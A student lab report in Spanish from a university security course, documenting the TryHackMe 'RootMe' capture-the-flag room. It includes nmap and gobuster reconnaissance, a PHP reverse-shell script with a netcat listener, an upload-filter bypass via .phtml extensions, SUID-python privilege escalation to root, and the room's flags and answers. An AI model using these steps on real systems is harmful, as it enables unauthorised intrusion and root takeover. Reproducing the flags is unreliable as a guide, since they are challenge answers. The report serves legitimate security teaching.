[<img src="https://pagina.fciencias.unam.mx/sites/default/files/logoFC_2.png" width="400" style="float:center;border-radius:10%"/>] (https://www.fciencias.unam.mx)
Criptografía y Seguridad 2023-2
---
***Profesor***
: [Anayanzi Delia Martínez Hernández](mailto:anayanzi@ciencias.unam.mx)
***Ayudantes***
: ***Teoría***
: [Ivan Daniel Galindo Perez](mailto:ivangalindo@ciencias.unam.mx)
: ***Laboratorio***
: [Luis Fernando Yang Fong Baeza](mailto:fernandofong@ciencias.unam.mx)
***Equipo***
[<img src="https://tryhackme-badges.s3.amazonaws.com/fcamachos.png" style="float:right" />](https://tryhackme.com/p/fcamachos)
: [Camacho Sosa Fernando](mailto:fcamachos@ciencias.unam.mx)
: 305262550
[<img src="https://tryhackme-badges.s3.amazonaws.com/jean.dv.png" alt="TryHackMe" style="float:right">](https://tryhackme.com/p/jean.dv)
: [Jean Durán](mailto:jean.dv@ciencias.unam.mx)
: 316032416
<div style="page-break-after: always;"></div>
# Práctica 7 - RootMe?
Realización del laboratorio ***"RootMe"*** en *[TryHackme](https://tryhackme.com/room/rrootme)*.
## Respuestas que se ingresaron en la plataforma para completar el laboratorio
* **Pertos abiertos:** 2
* **Version de Apache corriendo:** 2.4.29
* **Servicio corriendo en puerto 22:** ssh
* **Directorio oculto:** /panel/
* **Contenido de user.txt:** THM{y0u_g0t_a_sh3ll}
* **Archivo con permiso SUID:** /usr/bin/python
* **Contenido de archivo root.txt:** THM{pr1v1l3g3_3sc4l4t10n}
## Conexión al servidor TryHackme
Una vez descargado el archivo de configuración desde el perfil en ***TryHackme***, se ejecutó el comando `sudo openvpn fcamachos.ovpn`, quedando así conectado al servidor.






## Reconnaissance
Una vez que iniciamos la máquina y nos conectamos a ella, hacemos un análisis con el comando:
`nmap -sC -sV -oN nmap/rootme 10.10.56.198`
Lo cual nos regresa el siguiente resultado:
```sh
# Nmap 7.80 scan initiated Mon May 22 23:24:34 2023 as: nmap -sC -sV -oN nmap/rootme 10.10.56.198
Nmap scan report for 10.10.56.198
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_ 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 22 23:25:02 2023 -- 1 IP address (1 host up) scanned in 28.19 seconds
```
Por lo tanto, encontramos 2 puertos abiertos, el **22** y el **80**. También notamos que la versión de Apache es la `2.4.29`. Y que el servicio corriendo en el puerto 22 es `ssh`.
### GoBuster
Dado que nuestra instalación de Gobuster es la v2.0.1, usaremos la sintaxis antigua para hacer el análisis de la ip de la víctima.
```sh
$ gobuster -u http://10.10.56.198/ -w ./RootMe/wordlists/dirb/small.txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.56.198/
[+] Threads : 10
[+] Wordlist : ./RootMe/wordlists/dirb/small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2023/05/23 01:13:40 Starting gobuster
=====================================================
/css (Status: 301)
/js (Status: 301)
/panel (Status: 301)
/uploads (Status: 301)
=====================================================
2023/05/23 01:13:58 Finished
=====================================================
```
Encontramos una serie de directorios, entre los cuales destaca el `/panel`.
## Getting a Shell
Ahora debemos encontrar una manera de hacernos del control del servidor.
En un navegador web entramos a la dirección `http://10.10.197.109` (la IP ha cambiado dado que el intento se hizo en otro día, con una máquina nueva.)




Vemos una curiosa animación y buscando en el código fuente de la página no encontramos nada de valor.
Ahora entramos al directorio que encontramos con Gobuster:




Podemos ver que podemos subir archivos, y para fines de esta práctica, intentaremos subir un script para obtener un reverse shell que use Apache o PHP.
Buscando en Google encontramos es siguiente [script](https://github.com/pentestmonkey/php-reverse-shell), así que lo guardamos en nuestro equipo.
Nos damos cuenta que el script viene preparado para que editemos la IP de la victima y el puerto.
```php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.197.109'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```
A continuación ponemos un netcat listener para detectar señales del puerto `1234`.
```sh
$ nc -lvnp 1234
```
Y subimos el script modificado.


Nos damos cuenta de que no podemos subir PHPs al servidor. Así que intentamos cambiar la extensión por algo que sí esté permitido y que se ejecute como un `php`.
Encontramos que algunos scripts pueden ejecutarse aún si se les cambia la extensión por `php2`, `phps`, `phtml`, `pgif`, etc.
Así que cambiamos el nombre por una extensión `.pgif` e intentamos subirlo.




Y vemos en el directorio `/uploads` que se subió correctamente.


Desafortunadamente al hacer click en el archivo nos aparece el siguiente error.


Por lo que tendremos que intentar con otras extensiones.
Después de intentar con las extensiones nos dimos cuenta de que `.phtml` funciona bien. Sin embargo, había un error en la dirección IP.


Finalmente se corrigió y se subió el archivo correcto. Al ejecutarlo obtuvimos lo siguiente


Ahora que tenemos acceso remoto a shell, buscamos el archivo `user.txt` que TryHackme nos ha pedido que busquemos:
```sh
$ find / -name user.txt
```


El archivo se encuentra en `/var/www/user.txt`. Y al abrir el archivo nos encontramos la **bandera** `THM{y0u_g0t_a_sh3ll}`.


## Privilege Escalation
Para obtener permisos de administrador en el sistema, TryHackme recomienda hacer una búsqueda de los archivos que tengar permisos SUID. Por lo que ejecutamos:
```sh
$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python <----------------------------------------||
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
```
Haciéndo una búsqueda en google sobre SUID, encontramos la página [GTFOBins](https://gtfobins.github.io/) donde encontramos que python tiene un problema de escalamiento de privilegios. Incluso, en la misma página, nos muestra el comando con el cual se escalan los privilegios.
```sh
$ python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
# whoami
root
```
Finalmente buscamos el archivo `root.txt`
```sh
# find / -name root.txt 2>/dev/null
/root/root.txt
# cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
#
```


Y obtenemos la **bandera** `THM{pr1v1l3g3_3sc4l4t10n}`.

